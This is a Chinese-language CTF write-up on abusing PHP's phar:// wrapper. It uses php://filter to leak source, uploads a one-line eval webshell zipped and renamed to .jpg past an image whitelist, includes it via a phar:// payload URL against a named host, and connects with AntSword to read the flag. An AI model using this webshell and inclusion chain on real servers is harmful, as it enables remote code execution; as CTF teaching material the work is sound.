php伪协议之phar
一.phar协议
用于将多个 PHP 文件、类、库、资源(如图像、样式表)等打包成一个单独的文件。这个归档文件可以像其他 PHP 文件一样被包含(include)或执行。PHAR 归档提供了一种方便的方式来分发和安装 PHP 应用程序和库,尤其是当它们包含许多文件和目录时
1.格式
将一句话木马(shell.php)压缩成压缩包形式(shell.zip),将压缩包后缀改为.jpg(shell.jpg)
phar://shell.jpg/shell.php
2.实操
点击题目链接,空白页面,查看源代码,发现include.php

include.php的源代码,有一个upload.php,且告诉参数是file

访问upload,是文件上传页面,上传木马文件发现不行

通过php://fifter,查看upload.php和include.php的源代码,(php伪协议)
?file=php://filter/read=convert.base64-encode/resource=include.php发现报错,分析报错原因,知道它强制加后缀.php,这样图片马就上传不了

?file=php://filter/read=convert.base64-encode/resource=include

base64解码
代码分析,过滤了http|data|ftp|input|%00等字样,还强制在后缀加.php
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php@$file = $_GET["file"];if(isset($file)){if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70){echo "<p> error! </p>";}else{include($file.'.php');}}
?>
同样方法得到upload.php
代码分析,只是一个白名单过滤,对文件的后缀和文件类型进行判断
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form><?php
if(!empty($_FILES["file"]))
{echo $_FILES["file"];$allowedExts = array("gif", "jpeg", "jpg", "png");@$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)){move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];}else{echo "upload failed!";}
}
?>
上传shell.jpg,这个文件是shell.php压缩后,将.zip后缀改为.jpg后缀shell.php内容:<?php @eval($_POST[c]);?>
payload:
http://hazelshishuaige.club:8040/include.php?file=phar://upload/shell.jpg/shell

蚁剑连接

flag在根目录下

相关文章:
php伪协议之phar
一.phar协议 用于将多个 PHP 文件、类、库、资源(如图像、样式表)等打包成一个单独的文件。这个归档文件可以像其他 PHP 文件一样被包含(include)或执行。PHAR 归档提供了一种方便的方式来分发和安装 PHP 应用程序和库,…...
蓝桥杯电子类单片机提升三——NE555
目录 单片机资源数据包_2023 一、NE555和定时器工作模式 1.NE555的介绍 2.定时器的计数模式 二、NE555频率读取代码的实现 1.定时器0初始化 2.通过读取TH0和TL0来读取频率 3.通过中断读取频率 三、完整代码演示 通过读取TH0和TL0来读取频率 main.c 通过中断读取频…...
发掘GPT-4商业创新的潜力
GPT-4在商业创新方面的应用潜力巨大,它能够基于庞大的训练数据集和强大的语言生成能力,协助企业或个人用户在多个商业场景中推动创新: 市场分析与战略规划:GPT-4可以对历史数据、行业趋势、竞争对手信息进行深度分析,并…...
LeetCode42.接雨水(单调栈)
题目 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图,计算按此排列的柱子,下雨之后能接多少雨水。 示例 : 输入:height [0,1,0,2,1,0,1,3,2,1,2,1] 输出:6 解释:上面是由数组 [0,1,0,2,1,0,1,3,2,…...
黄东旭:“向量数据库”还是“向量搜索插件 + SQL 数据库”?丨我对 2024 年数据库发展趋势的思考
本文由 PingCAP 黄东旭撰写,讨论了数据库技术在 2023 年的快速变革,并对 2024 年的数据库发展趋势进行了预测。文章重点关注了 GenAI 时代对数据库的影响,提出了在数据库选择上的两种路径:“向量数据库”和“向量搜索插件 SQL 数…...
Spark编程实验五:Spark Structured Streaming编程
目录 一、目的与要求 二、实验内容 三、实验步骤 1、Syslog介绍 2、通过Socket传送Syslog到Spark 3、Syslog日志拆分为DateFrame 4、对Syslog进行查询 四、结果分析与实验体会 一、目的与要求 1、通过实验掌握Structured Streaming的基本编程方法; 2、掌握…...
【已解决】引发的异常: 0xC0000005: 读取位置 0xFFFFFFFFFFFFFFFF 时发生访问冲突。
这种问题产生一般都会手足无措,包括笔者,但是不要慌,这种问题一般都是内存泄漏引起的。例如读者要访问一个已经被析构或者释放的变量,当然访问不了,导致存在问题。这时候读者应该从哪里产生内存泄漏这方面进行考虑&…...
Python Flask高级编程之RESTFul API前后端分离(学习笔记)
Flask-RESTful是一个强大的Python库,用于构建RESTful APIs。它建立在Flask框架之上,提供了一套简单易用的工具,可以帮助你快速地创建API接口。Flask-RESTful遵循REST原则,支持常见的HTTP请求方法,如GET、POST、PUT和DE…...
Windows如何打开投影到此电脑
1.首先点开设置 找到系统 点击投影到此电脑,如果这3行都显示灰色说明没有开启。 2.如何开启投影到此电脑 ①回到设置,点击应用 ②点击可选应用 ③ 安装无线显示器 投影设置可以和我一样...
【BUG】段错误
1. 问题 8核工程,核4在运行了20分钟以上,发生了段错误。 [C66xx_4] A00x53 A10x53 A20x4 A30x167e A40x1600 A50x850e2e A60x845097 A70xbad9f5e0 A80x0 A90x33 A100x53535353 A110x0 A120x0 A130x0 A140x0 A150x0 A160x36312e35 A170x20 A180x844df0 …...
深入理解指针(3)
目录 一、 字符指针变量二、 数组指针变量1.数组指针变量是什么?2.数组指针变量怎么初始化? 三、 二维数组传参的本质四、 函数指针变量1. 函数指针变量的创建2.函数指针变量的使用3.typedef关键字 五、 函数指针数组六、 转移表 一、 字符指针变量 在指针的类型中…...
ssm在线学习平台-计算机毕业设计源码09650
目 录 摘要 1 绪论 1.1 选题背景及意义 1.2国内外现状分析 1.3论文结构与章节安排 2 在线学习平台系统分析 2.1 可行性分析 2.2 系统业务流程分析 2.3 系统功能分析 2.3.1 功能性分析 2.3.2 非功能性分析 2.4 系统用例分析 2.5本章小结 3 在线学习平台总体设计 …...
【Linux 内核源码分析】内存映射(mmap)机制原理
内存映射(mmap)是 Linux 内核的一个重要机制,它为程序提供了一种将文件内容直接映射到进程虚拟地址空间的方式。同时内存映射也是虚拟内存管理和文件 IO 的重要组成部分。 在 Linux 中,虚拟内存管理是基于内存映射来实现的。在调用 mmap 函数时…...
贪心算法之合并区间
“任世界多宽广,停泊在这港口~” 区间问题,涉及到最多的就是 取交集 和 并集的概念。我们使用C排序算法后,其默认规则就是按照 “左排序”进行的。因而,我们实质上注意的是每一个区间的 右端点,根据题目要求ÿ…...
Eclipse - Colors and Fonts
Eclipse - Colors and Fonts References 编码最好使用等宽字体,Ubuntu 下自带的 Ubuntu Mono 可以使用。更换字体时看到名字里面带有 Mono 的基本都是等宽字体。 Window -> Preferences -> General -> Appearance -> Colors and Fonts -> C/C ->…...
java 数据结构LinkedList类
目录 什么是LinkedList 链表的概念及结构 链表的结构 无头单向非循环链表 addFirst方法(头插法) addLast方法(尾插法) addIndex方法 contains方法 removeAllKey方法 size和clear方法 链表oj题 无头双向非循环链表 ad…...
第五次作业(防御安全)
需求: 1.办公区设备可以通过电信链路和移动链路上网(多对多的NAT,并且需要保留一个公网IP 不能用来转换) 2.分公司设备可以通过总公司的移动链路和电信链路访问到DMZ区的http服务器 3.分公司内部的客户端可以通过公网地址访问到内部的服务…...
阿里云香港轻量应用服务器是什么线路?
阿里云香港轻量应用服务器是什么线路?不是cn2。 阿里云香港轻量服务器是cn2吗?香港轻量服务器不是cn2。阿腾云atengyun.com正好有一台阿里云轻量应用服务器,通过mtr traceroute测试了一下,最后一跳是202.97开头的ip,1…...
C# Winform .net6自绘的圆形进度条
using System; using System.Drawing; using System.Drawing.Drawing2D; using System.Windows.Forms;namespace Net6_GeneralUiWinFrm {public class CircularProgressBar : Control{private int progress 0;private int borderWidth 20; // 增加的边框宽度public int Progr…...
Git基本操作(超详细)
文章目录 创建Git本地仓库配置Git配置命令查看是否配置成功重置配置 工作区、暂存区、版本库添加文件--场景一概述实例操作 查看.git文件添加文件--场景二修改文件版本回退撤销修改情况⼀:对于工作区的代码,还没有 add情况⼆:已经 add &#…...
ComfyUI-VideoHelperSuite深度解析:高级视频合成与批量处理技术
ComfyUI-VideoHelperSuite深度解析:高级视频合成与批量处理技术 【免费下载链接】ComfyUI-VideoHelperSuite Nodes related to video workflows 项目地址: https://gitcode.com/gh_mirrors/co/ComfyUI-VideoHelperSuite 在AI驱动的视频创作工作流中ÿ…...
社交媒体心理健康检测:从TF-IDF到ALBERT的文本分类实战
1. 项目整体设计与思路拆解在社交媒体成为人们日常情绪表达主要出口的今天,利用这些公开文本数据来洞察用户的心理健康状态,已经从一个前沿研究课题,逐渐走向实际应用。我接触这个方向有几年了,从最初简单的关键词匹配,…...
RePKG:终极Wallpaper Engine资源解锁与转换工具
RePKG:终极Wallpaper Engine资源解锁与转换工具 【免费下载链接】repkg Wallpaper engine PKG extractor/TEX to image converter 项目地址: https://gitcode.com/gh_mirrors/re/repkg 你是否曾面对Wallpaper Engine精美的动态壁纸,却苦于无法提取…...
BooruDatasetTagManager:AI训练数据标注的终极解决方案,10倍提升图像标注效率
BooruDatasetTagManager:AI训练数据标注的终极解决方案,10倍提升图像标注效率 【免费下载链接】BooruDatasetTagManager 项目地址: https://gitcode.com/gh_mirrors/bo/BooruDatasetTagManager 在AI模型训练中,数据标注是决定模型质量…...
别再到处找教程了!保姆级VMware Workstation 17 Pro安装CentOS 7图文指南(含阿里云镜像下载)
2024最新版VMware Workstation Pro 17与CentOS 7实战安装全攻略对于开发者而言,拥有一个稳定、高效的Linux开发环境至关重要。CentOS 7作为企业级Linux发行版,以其卓越的稳定性和广泛的软件支持成为众多开发者的首选。而VMware Workstation Pro 17则提供…...
量子机器学习在基因组分类中的实践:特征映射与模型选择指南
1. 项目概述:当量子计算遇上基因组学如果你和我一样,既对量子计算的神秘力量感到好奇,又长期在生物信息学的数据海洋里“游泳”,那么“量子机器学习”这个交叉领域绝对值得你投入时间。这听起来像是科幻小说的情节,但现…...
【AI Agent招聘效能跃迁计划】:为什么92%的HR团队在第3周就放弃?——附可立即上线的MVP验证模板
更多请点击: https://intelliparadigm.com 第一章:AI Agent招聘效能跃迁计划的战略定位与行业悖论 在人才竞争白热化的当下,AI Agent并非招聘流程的“自动化补丁”,而是重构人岗匹配底层逻辑的战略支点。其核心价值不在于替代HR执…...
医疗AI公平性评估:从数据复杂性到系统任意性的三支柱分析框架
1. 项目概述:当医疗AI遇上公平性拷问在医疗健康领域,机器学习模型正从实验室的“概念验证”阶段,大步迈向临床决策支持的“实战”前线。无论是预测糖尿病风险,还是辅助诊断心脏病,这些算法模型的核心承诺是:…...
meent开源库实战:RCWA/TMM原理、实现与超表面优化避坑指南
1. 项目概述与核心价值如果你正在设计光子晶体、超表面或者任何带有周期性微纳结构的光学器件,那么“仿真”这一步几乎是绕不开的。无论是想优化一个光栅耦合器的耦合效率,还是设计一个能将特定波长光高效偏转的衍射元件,你都需要一个可靠的工…...
Midjourney对比度调控失效全解析(从sref色域偏移到底层CLIP文本嵌入权重干预)
更多请点击: https://kaifayun.com 第一章:Midjourney对比度控制失效的现象学观察 当用户在 Midjourney v6 中显式使用 --contrast 参数(如 /imagine prompt: a cyberpunk alley at night --contrast 100)时,输出图…...
